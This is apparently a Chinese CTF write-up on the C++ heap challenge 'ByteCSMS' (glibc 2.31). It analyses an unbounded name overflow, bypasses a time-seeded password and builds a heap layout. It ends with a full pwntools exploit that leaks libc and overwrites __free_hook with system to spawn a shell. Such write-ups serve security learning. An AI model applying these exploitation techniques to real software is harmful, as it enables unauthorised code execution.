0%

cpp pwn+vector 结构体

ByteCSMS 复现

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9) stable release version 2.31
1
2
3
4
5
6
pwn: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=efcddcc85d4f186d9f52eb73565b577adb87609f, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

代码分析

先说简单的 uploaddownload 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall upload(_QWORD *a1)
{
__int64 v1; // r12
__int64 v2; // rbx
__int64 v4; // rax
__int64 v3; // [rsp+18h] [rbp-28h] BYREF
__int64 v5[4]; // [rsp+20h] [rbp-20h] BYREF

v5[1] = __readfsqword(0x28u);
v1 = get_offset8(a1); // a = *(b+8)
v2 = get_offset0(a1); // a = *b
v3 = get_offset8(vector_state); // a = *(b+8)
become3(v5, &v3); // *a = *b
change_vector(vector_state, v5[0], v2, v1);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Upload successfully!");
std::ostream::operator<<(v4, (__int64)&std::endl<char,std::char_traits<char>>);
}
  • 前面这几个函数的底层逻辑都写上去了(IDA 对于 cpp 的分析结果很差)
  • upload:的作用就是把 vector_state 管理的 vector 加上现在程序管理的 vector
  • download:的作用就是把 vector_state 管理的 vector 加到程序管理的 vector 中

申请模块 add 中使用了 vector 结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __fastcall add(__int64 *a1)
{
__int64 v1; // rax
__int64 a2[3]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
sub_2458(a2);
do
{
++chunk_num;
sub_256A(a1, a2);
input_name_scores(a1); // 分别输入'name'和'score'
v1 = std::operator<<<std::char_traits<char>>(std::cout, "Enter 1 to add another, enter the other to return");
std::ostream::operator<<(v1, (__int64)&std::endl<char,std::char_traits<char>>);
}
while ( input() == 1 ); // 输入'1'则循环
}

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall input_name_scores(_QWORD *a1)
{
__int64 name; // rax
__int64 *v2; // rax
__int64 score; // rax
_DWORD *chunk; // rbx

name = std::operator<<<std::char_traits<char>>(std::cout, "Enter the ctfer's name:");
std::ostream::operator<<(name, (__int64)&std::endl<char,std::char_traits<char>>);
v2 = sub_24D4(a1, chunk_num - 1);
std::operator>><char,std::char_traits<char>>(&std::cin, v2);// 输入'name'
score = std::operator<<<std::char_traits<char>>(std::cout, "Enter the ctfer's scores");
std::ostream::operator<<(score, (__int64)&std::endl<char,std::char_traits<char>>);
chunk = sub_24D4(a1, chunk_num - 1);
chunk[3] = input(); // 输入'score'
}
  • 直接看 cpp 的反编译有点难看,于是我们直接进行调试:
1
add("1"*16,100)
1
2
3
pwndbg> x/64bx 0x55e5076c4ea0+16
0x55e5076c4eb0: 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31
0x55e5076c4eb8: 0x31 0x31 0x31 0x31 0x64 0x00 0x00 0x00
  • 输入 “name” 时没有限制长度,可以无限溢出
1
2
3
4
5
6
7
8
name = std::operator<<<std::char_traits<char>>(std::cout, "Enter the new name:");
std::ostream::operator<<(name, (__int64)&std::endl<char,std::char_traits<char>>);
v10 = sub_24D4(a1, index);
std::operator>><char,std::char_traits<char>>(&std::cin, v10);
score = std::operator<<<std::char_traits<char>>(std::cout, "Enter the new score:");
std::ostream::operator<<(score, (__int64)&std::endl<char,std::char_traits<char>>);
chunk = sub_24D4(a1, index);
chunk[3] = input();
  • edit 中输入 “name” 时也有同样的漏洞

入侵思路

要想进入菜单,需要先通过一个加密算法

1
2
3
4
5
for ( j = 0; j <= 19; ++j )
{
v1 = j | key[j] ^ 0xF;
code[j] = rand() & v1;
}
  • 这个算法需要随机数,种子是从系统时间中获取的
1
2
seed = time(0LL);
srand(seed);
  • 一般这种从系统时间中获取的随机数,都可以通过以下脚本破解:
1
libcc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
  • C语言中,time 这里的种子是秒级的,那么我们可以在写 exp 的时候也同时启动一个 time 的种子,获取同样的随机数
  • 绕过脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
libcc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

v0 = libcc.time(0)
libcc.srand(v0)
key = "n0_One_kn0w5_th15_passwd"
password = ""

for i in range(20):
v1 = i | ord(key[i]) ^ 0xF
password += chr(libcc.rand() & v1)

p.sendafter("Password for admin:", password)

有堆溢出,但程序的堆分配很奇怪,直接分析反汇编有点困难,所以我们直接输出测试数据找规律

1
2
3
4
5
6
7
8
add("1"*12,100)
add("2"*12,100)
upload()
add("3"*12,100)
add("4"*12,100)
download()
add("5"*12,100)
add("6"*12,100)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Free chunk (tcache) | PREV_INUSE
Addr: 0x564bdd223ea0
Size: 0x21
fd: 0x00

Free chunk (tcache) | PREV_INUSE
Addr: 0x564bdd223ec0
Size: 0x31
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x564bdd223ef0 /* upload */
Size: 0x31

Free chunk (tcache) | PREV_INUSE
Addr: 0x564bdd223f20
Size: 0x51
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x564bdd223f70
Size: 0x91
  • 堆只能从小到大进行申请,大小依次为“0x20”,“0x30”,“0x50”,“0x90”,“0x100”……
  • 当一个 chunk 写满后,程序就会把原来的 chunk 释放,申请一个更大的 chunk,并把之前所有的数据复制进新的 chunk 中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> telescope 0x564bdd223f70
00:00000x564bdd223f70 ◂— 0x0
01:00080x564bdd223f78 ◂— 0x91
02:00100x564bdd223f80 ◂— '111111111111d'
03:00180x564bdd223f88 ◂— 0x6431313131 /* '1111d' */
04:00200x564bdd223f90 ◂— '222222222222d'
05:00280x564bdd223f98 ◂— 0x6432323232 /* '2222d' */
06:00300x564bdd223fa0 ◂— '333333333333d'
07:00380x564bdd223fa8 ◂— 0x6433333333 /* '3333d' */
08:00400x564bdd223fb0 ◂— '444444444444d'
09:00480x564bdd223fb8 ◂— 0x6434343434 /* '4444d' */
0a:00500x564bdd223fc0 ◂— '111111111111d'
0b:00580x564bdd223fc8 ◂— 0x6431313131 /* '1111d' */
0c:00600x564bdd223fd0 ◂— '222222222222d'
0d:00680x564bdd223fd8 ◂— 0x6432323232 /* '2222d' */
0e:00700x564bdd223fe0 ◂— '555555555555d'
0f:00780x564bdd223fe8 ◂— 0x6435353535 /* '5555d' */
10:00800x564bdd223ff0 ◂— '666666666666d'
11:00880x564bdd223ff8 ◂— 0x6436363636 /* '6666d' */
12:00900x564bdd224000 ◂— 0x0
  • upload 会保存当前数组的“状态”,并单独写入一个 chunk 中
  • download 会把 upload 保存的 chunk 添加到当前数组的末尾,再写入堆中(如果写不下就新创建一个更大的 chunk,并把原来的 chunk 释放掉)

现在了解该程序的分配规则了,首先要解决的就是堆风水的问题,限制如下:

  • 堆排列从小到大,并且不能重复申请
  • 只能释放前面的 chunk,修改不了 free chunk
  • 输入“score”会截断“name”,可能会破坏我们的 payload

程序唯一的突破点就是 upload,因为它可以在可控 chunk 的后面格外写一个 chunk,这样就可以利用 edit 的堆溢出伪造 chunk

1
2
3
4
5
6
7
8
9
10
add("a"*12, 100)
upload()
payload = "a" * 0x10 + "b" * 0x8 + p64(0x501)
payload += "a" * 0x18 + p64(0x11e1)
payload += 0x4d0 * "\x00"
payload += p64(0)+p64(0x21)
payload += p64(0)+p64(0x21)
payload += p64(0)+p64(0x21)
edit(0,payload,-1)
upload() # 为了释放之前位置的upload chunk
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x55ad43b41ec0
00:00000x55ad43b41ec0 ◂— 0x6262626262626262 ('bbbbbbbb') /* upload chunk */
01:00080x55ad43b41ec8 ◂— 0x501
02:00100x55ad43b41ed0 ◂— 0x6161616161616161 ('aaaaaaaa')
02:00180x55ad43b41ed8 ◂— 0x6161616161616161 ('aaaaaaaa')
02:00200x55ad43b41ee0 ◂— 0x6161616161616161 ('aaaaaaaa') /* top chunk */
05:00280x55ad43b41ee8 ◂— 0x11e1 /* top chunk->size */
06:00300x55ad43b41ef0 ◂— 0x0
07:00380x55ad43b41ef8 ◂— 0x0
  • upload 执行以后,程序会释放原来的 upload chunk
1
2
3
4
5
6
7
8
9
10
11
pwndbg> telescope 0x55ad43b41ec0
00:00000x55ad43b41ec0 ◂— 0x6262626262626262 ('bbbbbbbb') /* upload chunk */
01:00080x55ad43b41ec8 ◂— 0x501
02:00100x55ad43b41ed0 —▸ 0x7f3c1e436be0 (main_arena+96) —▸ 0x55ad43b41f10 ◂— 0x21 /* '!' */
03:00180x55ad43b41ed8 —▸ 0x7f3c1e436be0 (main_arena+96) —▸ 0x55ad43b41f10 ◂— 0x21 /* '!' */
04:00200x55ad43b41ee0 ◂— 0x0 /* top chunk */
05:00280x55ad43b41ee8 ◂— 0x0 /* top chunk->size */
06:00300x55ad43b41ef0 ◂— 0x6161616161616161 ('aaaaaaaa')
07:00380x55ad43b41ef8 ◂— 0x6161616161616161 ('aaaaaaaa')
08:00400x55ad43b41f00 ◂— 0x6161616161616161 ('aaaaaaaa')
09:00480x55ad43b41f08 ◂— 0xffffffff61616161

现在 unsorted bin 有了,程序会优先从 unsorted bin 中分配 chunk,现在需要考虑的问题是怎么泄露 main_arena

  • 程序的泄露点在 edit 中:
1
2
3
std::operator<<<std::char_traits<char>>(std::cout, "Info before editing:\n");
std::operator<<<std::char_traits<char>>(std::cout, "Index\tName\tScores\n");
v1 = std::ostream::operator<<(std::cout, (unsigned int)index);
  • edit_by_index 找到目标后,会把其 “name” 和 “scores” 打印出来

于是又要构建堆风水,想办法把 main_arena/heap 放到 “name” 或者 “scores” 中:

1
2
3
4
download()
payload = "c"*0x10+p64(0)+p64(0x21)
edit(0,payload,-1)
upload()
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x55a466677ec0
00:00000x55a466677ec0 ◂— 'bbbbbbbbA'
01:00080x55a466677ec8 ◂— 0x41 /* 'A' */
02:00100x55a466677ed0 ◂— 0x6363636363636363 ('cccccccc')
03:00180x55a466677ed8 ◂— 0xffffffff63636363
04:00200x55a466677ee0 ◂— 0x0 /* 这里将会被释放 */
05:00280x55a466677ee8 ◂— 0x21 /* '!' */
06:00300x55a466677ef0 ◂— 0x0
07:00380x55a466677ef8 ◂— 0x0
  • upload 会释放 ee0 处的 chunk(为了不触发 unlink,必须要提前布置好 size)
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x5649a20ffec0
00:00000x5649a20ffec0 ◂— 'bbbbbbbbA'
01:00080x5649a20ffec8 ◂— 0x41 /* 'A' */
02:00100x5649a20ffed0 ◂— 0x6363636363636363 ('cccccccc') /* index0 */
03:00180x5649a20ffed8 ◂— 0xffffffff63636363
04:00200x5649a20ffee0 ◂— 0x0 /* 释放后留下了heap,可以用于泄露 */
05:00280x5649a20ffee8 ◂— 0x21 /* '!' */
06:00300x5649a20ffef0 —▸ 0x5649a20ffeb0 ◂— 0x0 /* index2 */
07:00380x5649a20ffef8 —▸ 0x5649a20ee010 ◂— 0x2
  • 至于为什么 ee0 处会被释放,可以把上述 exp 中的 edit 都注释掉,然后就会发现在正常的程序流程中,ee0 就是一个 upload chunk,执行 upload 后这里本来就会被释放
  • 其实这也是前面伪造 unsorted bin 造成的结果,程序优先从 unsorted bin 中分配 chunk,形成了一个小的 overlapping 吧,也就绕过了如下的检查:
1
if ( index >= 0 && index < chunk_num )

后面我想用同样的思路来构造 unsorted bin 绕过该检查,但是之前遗留下来的 unsorted bin 始终会报出各种各样的错误,下面是网上其他 exp 的构造方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
payload = "r"*0x10+p64(0)+p64(0xc1)+p64(0)+p64(1) 
# 'p64(0xc1)'是为了跳过unsorted chunk,避免更多的麻烦
# 'p64(1)'是为了使P位为'1',后面有个free会检查这里
payload += "\x00"*8*8 + p64(0) + p32(0x1f1)
# 修改unsorted chunk->size(为了后面的upload一次性把这个unsorted chunk申请掉)
p.sendlineafter('Enter the new name:',payload)
p.sendlineafter('Enter the new score:',str(-1))

upload()
download()
payload = "R"*0x8+p64(0x11e1) # 伪造top chunk->size,足够大就行
payload += "\x00"*0x40+p64(0)+p64(0x4f1) # 把将要free的chunk->size改大(进入unsorted bin)
edit(0,payload,0)
upload()
  • PS:top chunk 存储在 main_arena+96 中,当调用 free 时, [R11] 寄存器会存储该值

大佬的解决办法也很简单,upload 会先 malloc 后 free,只要在 malloc 的时候把 unsorted chunk 给全部申请掉,后面就不用考虑 unsorted bin 的问题了,所以需要修改一下 unsorted chunk->size

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import*
from ctypes import *

#context.log_level='debug'
context.arch='amd64'
context.os = "linux"
#context.terminal = ["tmux", "splitw", "-h"]

p = process('./pwn')

libc = ELF("./libc-2.31.so")
libcc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

cmd ="b *$rebase(0x22C0)\n"
cmd +="b *$rebase(0x22CE)\n"
cmd +="b *$rebase(0x22DC)\n"
cmd +="b *$rebase(0x22EA)\n"

#gdb.attach(p,cmd)

def menu(ch):
p.sendlineafter('> ',str(ch))

def add(name,score):
menu(1)
p.sendlineafter('name:',name)
p.sendlineafter('scores',str(score))
p.sendlineafter('return','2')

def free(index):
menu(2)
p.sendlineafter('2.Remove by index',str(2))
p.sendlineafter('Index?',str(index))

def edit(index,new_name,new_score):
menu(3)
p.sendlineafter('by index',str(2))
p.sendlineafter('Index?',str(index))
p.sendlineafter('Enter the new name:',new_name)
p.sendlineafter('Enter the new score:',str(new_score))

def upload():
menu(4)

def download():
menu(5)

def admin():
seed = libcc.time(0)
libcc.srand(seed)
key = "n0_One_kn0w5_th15_passwd"
password = ""
for i in range(20):
v1 = i | ord(key[i]) ^ 0xF
password += chr(libcc.rand() & v1)
p.sendafter("Password for admin:", password)

def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
return possible_IO_str_jumps_offset

admin()

add("a"*8,0)
upload()
edit(0, 'a' * 0x18 + p64(0x421) + 'a' * 0x18 + p64(0xf121) + "a" * 0x3F8 + p64(0x11) + "a" * 8 + p64(0x11), 0)
upload()
free(0)
download()

p.sendlineafter("> ", "3")
p.sendlineafter("2.Edit by index\n", str(2))
p.sendlineafter("Index?\n", str(1))
p.recvuntil("Scores\n1\t")
libc_base = u64(p.recv(6) + "\x00" * 2) - 0x1ebb80 - 0x60
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
success("libc_base", libc_base)

p.sendlineafter("name:",p64(0) + p64(0x111))
p.sendlineafter("score:", str(0))

gadget = p64(free_hook - 0x10) + p64(0x31)
upload()
edit(0, gadget * 2 + p64(free_hook - 0x10) + p64(0x111), 0)
upload()
edit(0, gadget * 2 + p64(free_hook - 0x10) + p64(0x111) + p64(free_hook - 0x10), 0)
upload()
payload = "/bin/sh\x00" * 2 + p64(system_addr) * 2 + p64(free_hook - 0x10) + p64(0x111) + p64(free_hook - 0x10)
payload += gadget * 4 + p64(0x31) + gadget
edit(0, payload, 0)
upload()

for i in range(6):
add("a"*8,0)
p.sendlineafter("> ", "1")

p.interactive()

小结:

这个堆风水真的好难弄,自己搞了好几天才 leak 出来,但是堆风水太乱不能 get shell,最后还是只能调试网上的 exp

最后挂的 exp 是我遇见的最简单的了,他只 leak 了 libc_base,导致堆风水简洁了不少

从这个题目没有学习到什么知识,就当练习了一下堆风水吧